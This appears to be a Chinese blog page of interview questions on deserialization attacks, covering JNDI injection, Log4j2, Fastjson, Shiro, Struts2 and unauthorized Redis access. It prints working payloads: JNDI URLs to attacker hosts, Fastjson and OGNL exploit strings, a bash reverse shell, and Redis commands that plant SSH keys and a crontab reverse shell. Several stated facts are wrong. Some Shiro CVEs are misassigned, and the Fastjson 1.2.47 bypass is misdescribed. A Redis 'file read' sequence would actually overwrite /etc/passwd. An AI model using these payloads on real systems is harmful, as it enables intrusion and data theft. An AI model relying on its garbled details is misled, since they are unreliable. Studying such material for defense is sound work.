Loading ...
反序列化漏洞面试题

1. 什么是序列化和反序列化?

  • 序列化:将内存中的对象转换为可存储(如文件、数据库)或可传输(如网络流)的字节流 / 字符串的过程。

  • 反序列化:将序列化后的字节流 / 字符串恢复为原对象的过程,是序列化的逆操作。

2.为什么要进行序列化和反序列化?

  • 内存中的对象无法直接存储或传输,需通过序列化转换为通用格式(字节流 / 字符串)。

  • 解决不同系统、语言、进程间的数据交换问题,确保对象状态的一致性。

3. 序列化与反序列化函数有哪些?

语言序列化函数反序列化函数
JavaObjectOutputStream.writeObject()ObjectInputStream.readObject()
PHPserialize()unserialize()
Pythonpickle.dump()/json.dumps()pickle.load()/json.loads()

4. Java 序列化流程是什么?

  1. 对象所属类实现Serializable接口(否则抛出NotSerializableException)。

  2. 创建ObjectOutputStream并关联输出流(如文件流、网络流)。

  3. 调用writeObject(),将对象转换为字节流并写入输出流。

  4. 关闭流,完成序列化。

5. Java 反序列化流程是什么?

  1. 创建ObjectInputStream并关联输入流(如文件流、网络流)。

  2. 调用readObject(),从输入流读取字节流。

  3. 验证类信息(类存在、serialVersionUID匹配),通过反射重建对象并恢复属性值。

  4. 返回重建后的对象,完成反序列化。

6. Java 反序列化漏洞原理是什么?

攻击者构造恶意序列化数据,当目标应用反序列化该数据时,会触发类中重写的readObject()方法(或间接调用的危险方法),执行非预期操作(如远程代码执行 RCE)。核心是 “不可信数据被反序列化 + 存在可利用的危险方法”。

7. 什么是 PHP 反序列化?

PHP 通过unserialize()函数将序列化字符串(如O:4:"User":1:{s:4:"name";s:5:"Alice";})恢复为对象的过程,若类定义了魔术方法(如__wakeup()),会自动触发。

8. 反序列化魔术方法有哪些?

  • PHP

    • __construct():类的构造方法,在创建对象时进行初始化操作时调用。

    • __destruct():类的析构函数,在对象销毁时执行清理操作时调用。

    • __call():在对象中调用不可访问方法时调用。

    • __get():访问不存在的成员变量或访问 private 和 protected 成员变量时调用。

    • __set():设置类的成员变量时调用。

    • __isset():对不可访问属性调用isset()empty()时调用。

    • __unset():对不可访问属性调用unset()时被调用。

    • __sleep():执行serialize()时,会先调用这个函数。

    • __wakeup():执行unserialize()时,会先调用这个函数。

    • __toString():在echoprint输出对象,或者把对象当作字符串调用时自动调用。

  • Java

    • readObject():自定义反序列化逻辑,当对象被反序列化时自动调用,若方法中包含危险操作(如命令执行、JNDI 查询),是反序列化漏洞的核心利用点。

    • writeObject():自定义序列化逻辑,序列化对象时自动调用,可控制写入字节流的数据内容。

    • readObjectNoData():当反序列化过程中无法找到对应类的序列化数据时调用,可能导致对象状态异常。

    • writeReplace():序列化时替换对象,返回一个替代对象用于序列化,可改变序列化的实际内容。

    • readResolve():反序列化后替换对象,返回一个替代对象,常用于单例模式防止多实例创建,若实现不当可能引入安全风险。

10. 反序列化漏洞与注入攻击的区别是什么?

维度反序列化漏洞注入攻击(如 SQL 注入)
攻击载体恶意序列化数据(字节流 / 字符串)恶意输入字符串(如 SQL 命令片段)
触发场景反序列化不可信数据时输入未过滤直接拼接进执行逻辑时
核心原理滥用反序列化机制中的方法调用滥用输入拼接导致逻辑篡改
典型案例Shiro 反序列化、Log4j2 漏洞SQL 注入、命令注入

11. 什么是 JNDI 注入

JNDI(Java Naming and Directory Interface,Java 命名和目录接口)是 Java 用于访问命名服务(如 RMI 注册表)和目录服务(如 LDAP 服务器)的 API,可通过统一接口查找远程对象或资源。 JNDI 注入是指攻击者通过控制 JNDI 查找的目标名称(通常是 URL),使目标应用在执行InitialContext.lookup()等 JNDI 查询操作时,被诱导连接到攻击者控制的恶意服务器,最终加载并执行恶意代码的攻击方式。

12. JNDI 注入漏洞原理是什么?

当目标应用的 JNDI 查询参数(如查找的名称)可控(例如用户输入直接作为lookup()方法的参数)时,攻击者可构造恶意的命名服务 URL(如jndi:rmi://attacker.com/eviljndi:ldap://attacker.com/evil)。 应用执行lookup()时,会按照 URL 连接攻击者控制的远程服务(RMI/LDAP 服务器),并从该服务获取 “资源引用”(如指向恶意类的路径)。应用会自动从指定路径下载恶意类并加载执行,若类中包含恶意代码(如static代码块中的命令执行逻辑),则触发远程代码执行(RCE)。

13. RMI 的工作流程是什么?

RMI(Remote Method Invocation,远程方法调用)是 Java 实现跨进程通信的机制,核心是允许一个 JVM 中的对象调用另一个 JVM 中对象的方法,工作流程如下:

  1. 服务端注册:远程对象(实现了远程接口的类)通过LocateRegistry.createRegistry()在本地注册中心(默认端口 1099)注册,暴露服务名称和接口。

  2. 客户端查找:客户端通过Naming.lookup()或 JNDI 的InitialContext.lookup()向注册中心查询远程对象的引用。

  3. 建立连接:客户端获取远程对象的引用后,底层通过 TCP 建立与服务端的网络连接。

  4. 远程调用:客户端调用远程对象的方法时,参数通过序列化传输到服务端;服务端执行方法后,将结果反序列化并返回给客户端。

14. RMI-JNDI 的原理是什么?

RMI-JNDI 是指通过 JNDI 接口访问 RMI 服务的机制,允许客户端通过 JNDI 的lookup()方法查找 RMI 注册中心的远程对象,原理如下:

  • 服务端可在 RMI 注册中心绑定一个Reference对象(包含目标类的名称、代码基地 URL 等信息),而非直接绑定远程对象。

  • 客户端通过 JNDI 的lookup("rmi://server/name")查询该Reference时,会根据其中的代码基地 URL 下载对应的类文件(.class),并在本地实例化该类。

  • 若下载的类中包含恶意代码(如static代码块中的命令执行),则客户端在实例化时会自动执行,导致 RCE。

15. RMI-JNDI 注入流程大概说一下?(含原理)

流程及原理如下:

  1. 攻击者准备:搭建恶意 RMI 服务器,注册一个Reference对象,其中className设为自定义恶意类名(如Evil),codebase设为攻击者控制的 HTTP 服务器地址(存放Evil.class)。

  2. 注入恶意 URL:攻击者通过目标应用的输入点(如用户可控的参数),将恶意 JNDI URL(jndi:rmi://attacker.com/evil)注入到应用的 JNDI 查找逻辑中。

  3. 应用触发查询:目标应用执行lookup()时,解析 URL 并连接攻击者的 RMI 服务器,获取Reference对象。

  4. 加载恶意类:应用根据Reference中的codebase从 HTTP 服务器下载Evil.class,并通过反射实例化该类。

  5. 执行恶意代码Evil.classstatic代码块(如Runtime.getRuntime().exec("bash -i >& /dev/tcp/attacker/port 0>&1"))在类加载时自动执行,实现 RCE。

16. LDAP-JNDI 注入是什么?(含攻击链)

LDAP-JNDI 注入是指通过 JNDI 接口访问 LDAP 服务时触发的注入攻击,LDAP(Lightweight Directory Access Protocol)是用于查询目录服务的协议,攻击链如下:

  1. 攻击者准备:搭建恶意 LDAP 服务器,在目录中创建一个条目(Entry),并为其设置javaNamingReference属性(包含恶意类的名称和代码基地 URL)。

  2. 注入恶意 URL:攻击者将恶意 JNDI URL(jndi:ldap://attacker.com/cn=evil)注入目标应用的 JNDI 查找参数中。

  3. 应用触发查询:目标应用执行lookup()时,连接攻击者的 LDAP 服务器,查询指定条目,并获取javaNamingReference属性。

  4. 加载恶意类:应用根据属性中的代码基地 URL 下载恶意类(如Evil.class),并在本地实例化。

  5. 执行恶意代码:恶意类的static代码块或构造方法中的命令执行逻辑被触发,实现 RCE。

17. RMI-JNDI 和 LDAP-JNDI 的主要区别是什么?

维度RMI-JNDILDAP-JNDI
依赖的协议RMI 协议(默认端口 1099)LDAP 协议(默认端口 389/636)
恶意资源的传递形式通过Reference对象绑定到 RMI 注册中心通过 LDAP 目录条目的javaNamingReference属性传递
JDK 版本限制高版本 JDK(如≥8u121)默认禁止从远程代码基地加载类高版本 JDK 对 LDAP 的限制较松,仍可加载远程类(需满足特定条件)
实战利用难度较高(受 JDK 限制严格)较低(兼容性更好,限制少)

18. 讲述一下 RMI-JNDI 注入和 LDAP-JNDI 注入?

  • RMI-JNDI 注入:利用 JNDI 访问 RMI 服务的机制,攻击者通过恶意 RMI 服务器返回Reference对象,诱导目标应用下载并执行恶意类。但高版本 JDK 默认禁用 RMI 远程类加载,导致利用受限。

  • LDAP-JNDI 注入:利用 JNDI 访问 LDAP 服务的机制,攻击者通过恶意 LDAP 服务器的目录条目返回javaNamingReference属性,诱导目标应用加载远程恶意类。由于高版本 JDK 对 LDAP 的限制较弱(如允许从 HTTP 服务器加载类),实际场景中更易成功。 两者的核心都是通过 JNDI 查找机制诱导目标加载执行恶意类,区别主要在于依赖的协议和 JDK 兼容性。

19. 为什么 LDAP-JNDI 更常见于实战利用?

  1. JDK 兼容性更好:高版本 JDK(如≥8u121)对 RMI 的远程类加载做了严格限制(默认禁止从codebase加载类),但对 LDAP 的限制较弱 —— 即使com.sun.jndi.ldap.object.trustURLCodebasefalse,仍可从 HTTP 服务器加载类(仅禁止 LDAP 直接返回类数据)。

  2. 协议通用性更强:LDAP 协议在企业环境中更常见(常用于用户身份认证、目录服务),目标应用启用 LDAP-JNDI 查询的概率更高,攻击场景更广泛。

  3. 绕过防御更易:LDAP 的目录条目结构灵活,攻击者可通过构造复杂的javaNamingReference属性绕过应用层的简单过滤(如关键词拦截),而 RMI 的Reference结构相对固定,易被检测。

20. log4j 是什么?

Log4j 是 Apache 基金会开发的一款开源日志记录工具,广泛应用于 Java 应用程序中,用于记录程序运行时的日志信息(如调试信息、错误信息等)。其功能包括日志级别控制、日志输出目的地(文件、控制台等)配置、日志格式自定义等,是 Java 生态中最常用的日志组件之一。目前主要版本包括 Log4j 1.x 和 Log4j 2.x(后者为重构版本,功能更强大)。

21. Log4j 漏洞原理是什么?

通常所说的 Log4j 漏洞特指 Log4j2 中的 JNDI 注入漏洞(CVE-2021-44228 等系列漏洞)。其核心原理是:Log4j2 在处理日志信息时,会对包含 ${} 格式的字符串进行特殊解析,若日志内容中包含 JNDI 相关的 lookup 语法(如 ${jndi:ldap://attacker.com/xxx}),会触发 JNDI 服务调用,从攻击者控制的服务器加载恶意类并执行,最终导致远程代码执行(RCE)。

22. Apache Log4j2 远程代码执行的攻击流程是什么?(含攻击链)

攻击流程与攻击链一致,具体步骤如下:

  1. 攻击者准备恶意 payload(如 ${jndi:ldap://evil.com/poc});

  2. 通过目标系统的输入点(如用户表单、URL 参数、API 请求等)将 payload 传入;

  3. 目标系统处理输入时,使用 Log4j2 将包含 payload 的内容记录到日志中;

  4. Log4j2 解析日志中的 ${jndi:...} 占位符,触发 JNDI lookup,向 evil.com 发起 LDAP/RMI 请求;

  5. 攻击者控制的 LDAP/RMI 服务器返回指向恶意 Java 类(如 Exploit.class)的路径;

  6. 目标系统加载并执行该恶意类,攻击者获得远程代码执行权限(如执行 calc.exe 或反弹 shell)。

23. 攻击者通常如何将 payload 注入到 Log4j2?

攻击者通过目标系统的任何可输入点注入 payload,常见方式包括:

  • 网页表单输入(如用户名、搜索框);

  • URL 参数(如 ?username=${jndi:ldap://evil.com});

  • HTTP 头(如 User-AgentReferer 等);

  • API 请求体(如 JSON 数据中的字段);

  • 第三方服务交互(如消息队列、数据库查询结果中包含 payload)。 只要输入内容被 Log4j2 记录,即可触发漏洞。

24. Log4j2 JNDI 注入成功后的直接危害是什么?

直接危害是攻击者可在目标服务器上执行任意代码,包括但不限于:

  • 读取 / 修改 / 删除服务器文件;

  • 执行系统命令(如创建管理员账号、关闭服务);

  • 控制服务器网络(如发起内网渗透);

  • 窃取敏感数据(如数据库凭证、用户信息)。

25. 如何防御 Log4j2 JNDI 注入漏洞?

  • 升级版本:将 Log4j2 升级至 2.15.0 及以上(修复了核心漏洞),或 2.17.0+(修复后续衍生漏洞);

  • 禁用 JNDI 功能:通过配置 log4j2.formatMsgNoLookups=true 禁用消息解析中的 JNDI lookup;

  • 限制 JNDI 访问:在 JVM 层面添加参数 -Dlog4j2.disableJndi=true-Dcom.sun.jndi.rmi.object.trustURLCodebase=false 等,限制远程类加载;

  • 输入过滤:对用户输入的 ${jndi: 等敏感字符进行过滤或转义;

  • 网络隔离:限制服务器对外访问敏感协议(如 LDAP、RMI),阻止与恶意服务器通信;

  • 监控与检测:通过日志监控工具检测包含恶意 JNDI 字符串的请求,及时告警。

26. Fastjson1.2.24 漏洞原理是什么?(含特征)

  • 原理:该版本允许通过 @type 指定 com.sun.rowset.JdbcRowSetImpl 类,其 setDataSourceName() 方法会触发 JNDI 查找。攻击者构造 JSON 时,通过 dataSourceName 字段指向恶意 LDAP/RMI 服务器,反序列化时触发 RCE。

  • 特征

    • 利用 JdbcRowSetImpl 类;

    • JSON 结构为:

      {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/evil","autoCommit":true}

27. Fastjson1.2.47 漏洞原理是什么?(含特征)

  • 原理:1.2.47 版本修复了 JdbcRowSetImpl 的黑名单限制,但引入了 AutoType 绕过漏洞。攻击者通过在类名前添加 L、类名后添加 ;(如 Lcom.sun.rowset.JdbcRowSetImpl;),使其原始形式不在黑名单中绕过 Fastjson 的类名检查,但规范化后变为 com.sun.rowset.JdbcRowSetImpl(高危类),从而绕过校验仍可触发 JNDI 注入。

  • 特征

    • 利用类名变形(如 Lxxx;)绕过黑名单;

    • JSON 结构为:

      {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://attacker.com/evil","autoCommit":true}

28. 如何判断是否存在 Fastjson 漏洞?

  • 版本检测:检查项目依赖的 Fastjson 版本,若 ≤ 1.2.68,可能存在漏洞;

  • 测试请求:发送包含 @type 的测试 JSON,观察是否触发 JNDI 连接(如通过日志或监控工具);

  • 工具检测:使用漏洞扫描工具(如 FastjsonScanner、ShiroScan)自动检测;

  • 特征分析:若应用返回 JSON 中包含 @type,或接受用户输入的 JSON 且未严格过滤,可能存在风险。

29. Shiro 有几种漏洞类型?

主要为反序列化漏洞,包括:

  • Shiro550(CVE-2016-4437):利用默认加密密钥伪造 rememberMe Cookie,触发反序列化 RCE;

  • Shiro721(CVE-2020-11989):Padding Oracle 攻击,无需密钥即可构造恶意 Cookie 实现反序列化;

  • Shiro124(CVE-2020-17523):JNDI 注入漏洞,通过 rememberMe Cookie 触发 RMI/LDAP 远程类加载。

30. 如何判断是否存在 Shiro 漏洞?(含 Shiro 框架特征)

  • Shiro 框架特征

    • HTTP 响应头包含 Set-Cookie: rememberMe=deleteMe; ...

    • 登录表单包含 rememberMe 参数(如勾选 “记住我”);

    • 依赖 shiro-core 库(可通过反编译或依赖分析工具检测)。

  • 漏洞检测方法

    • 使用工具(如 ShiroExploit、ShiroScan)发送特制的 rememberMe Cookie,观察是否触发命令执行;

    • 分析响应时间:Shiro721 攻击依赖 Padding Oracle 原理,通过观察响应时间变化判断漏洞存在。

31. Apache Shiro550 反序列化漏洞原理是什么?(含特征)

  • 原理:Shiro 使用 AES-CBC 加密 rememberMe Cookie,默认密钥硬编码在代码中(如 kPH+bIxk5D2deZiIxcaaaA==)。攻击者可构造恶意序列化数据(如包含 CommonsCollections 链),用默认密钥加密后替换正常 Cookie。服务端解密并反序列化时,触发恶意代码执行。

  • 特征:

    • 使用默认加密密钥;

    • 攻击需先获取服务端响应的合法 rememberMe Cookie(用于提取 IV);

    • 利用工具(如 ysoserial)生成恶意序列化数据。

32. Apache Shiro721 反序列化漏洞原理是什么?(含特征)

  • 原理:Shiro 在处理 rememberMe Cookie 时,存在 CBC 模式下的 Padding Oracle 漏洞。攻击者通过构造特殊的加密数据,利用服务端返回的错误信息(如 “Padding is invalid”)逐步猜测加密密钥,最终构造可触发反序列化的恶意 Cookie。

  • 特征

    • 无需知道加密密钥,仅依赖服务端的错误响应;

    • 攻击需多次请求(约 1000+ 次),耗时较长;

    • 利用工具(如 Shiro721Exploit)自动化攻击。

33. 如何修复 Fastjson 和 Shiro 反序列化漏洞?

  • Fastjson 修复

    1. 升级版本:将 Fastjson 升级至 1.2.83+(启用 safeMode)或 2.0.24+(修复所有已知漏洞);

    2. 禁用 AutoType:通过配置 ParserConfig.getGlobalInstance().setAutoTypeSupport(false) 禁用 @type 功能;

    3. 配置白名单:仅允许反序列化白名单中的类(如 ParserConfig.getGlobalInstance().addAccept("com.example."));

    4. 过滤输入:对用户输入的 JSON 进行严格过滤,禁止包含 @type 字段。

  • Shiro 修复

    1. 更换加密密钥:修改 shiro.ini 中的 securityManager.rememberMeManager.cipherKey,使用随机生成的密钥;

    2. 升级版本:将 Shiro 升级至 1.9.1+(修复 Shiro721 等漏洞);

    3. 禁用 rememberMe:在不需要 “记住我” 功能的场景下,通过配置 securityManager.rememberMeManager.enabled = false 禁用;

    4. 限制网络访问:通过防火墙限制 Shiro 应用对外的 LDAP/RMI 访问,防止 JNDI 注入。

34. Struts2 远程代码执行漏洞原理

Struts2 是基于 MVC 架构的 Java Web 框架,其核心机制是通过拦截器处理 HTTP 请求,并使用 OGNL(Object Graph Navigation Language)表达式对请求参数进行动态求值。漏洞的根本原因在于OGNL 表达式解析过程中未对用户输入进行严格过滤,导致攻击者可注入恶意表达式执行任意代码。

核心原理步骤
  1. OGNL 表达式解析 Struts2 在处理请求参数时,会将参数值作为 OGNL 表达式解析。例如,表单字段或 URL 参数中的 ${表达式} 会被动态求值。

  2. 恶意表达式注入 攻击者构造特殊参数值,利用 OGNL 的强大功能(如访问静态方法、调用系统命令)执行代码。例如:

    ${#context['xwork.MethodAccessor.denyMethodExecution']=false, #_memberAccess['allowStaticMethodAccess']=true, @java.lang.Runtime@getRuntime().exec('id')}

    该表达式通过修改访问权限并调用 Runtime.getRuntime().exec() 执行系统命令。

  3. 常见攻击向量

    • S2-001:通过修改 Content-Type 请求头注入 OGNL 表达式。

    • S2-016:利用 redirect:redirectAction: 结果类型注入表达式。

    • S2-045:Jakarta Multipart 解析器漏洞,通过构造特殊的 Content-Type 头触发 RCE。

35. Redis 未授权利用方式(含原理)

Redis 默认情况下无密码认证,且监听在公网或内网可访问的端口(如 6379),攻击者可直接连接并执行命令。常见利用方式如下:

利用方式及原理

  1. 写入 SSH 公钥(横向移动)

    • 原理:通过 CONFIG SET dirCONFIG SET dbfilename 修改 Redis 持久化路径,将攻击者的 SSH 公钥写入目标服务器的 ~/.ssh/authorized_keys

    • 步骤

      # 连接 Redis
      redis-cli -h target-ip
      
      # 设置备份路径为 SSH 密钥目录
      CONFIG SET dir /root/.ssh/
      CONFIG SET dbfilename authorized_keys
      
      # 写入公钥
      SET x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...\n\n"
      
      # 触发持久化
      SAVE
  2. 定时任务反弹 shell

    • 原理:通过 SET 命令写入包含反弹 shell 命令的定时任务(如 crontab),利用 SAVEBGSAVE 触发持久化。

    • 步骤

      # 写入反弹 shell 命令到 crontab
      SET x "\n\n* * * * * bash -i >& /dev/tcp/attacker-ip/4444 0>&1\n\n"
      CONFIG SET dir /var/spool/cron/
      CONFIG SET dbfilename root
      SAVE
  3. 数据泄露

    • 原理:读取服务器敏感文件(如 /etc/passwd)或数据库中的业务数据。

    • 利用命令

      # 读取文件内容
      CONFIG SET dir /etc/
      CONFIG SET dbfilename passwd
      SAVE
      GET x

36. Redis 主从 RCE 的原理

暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇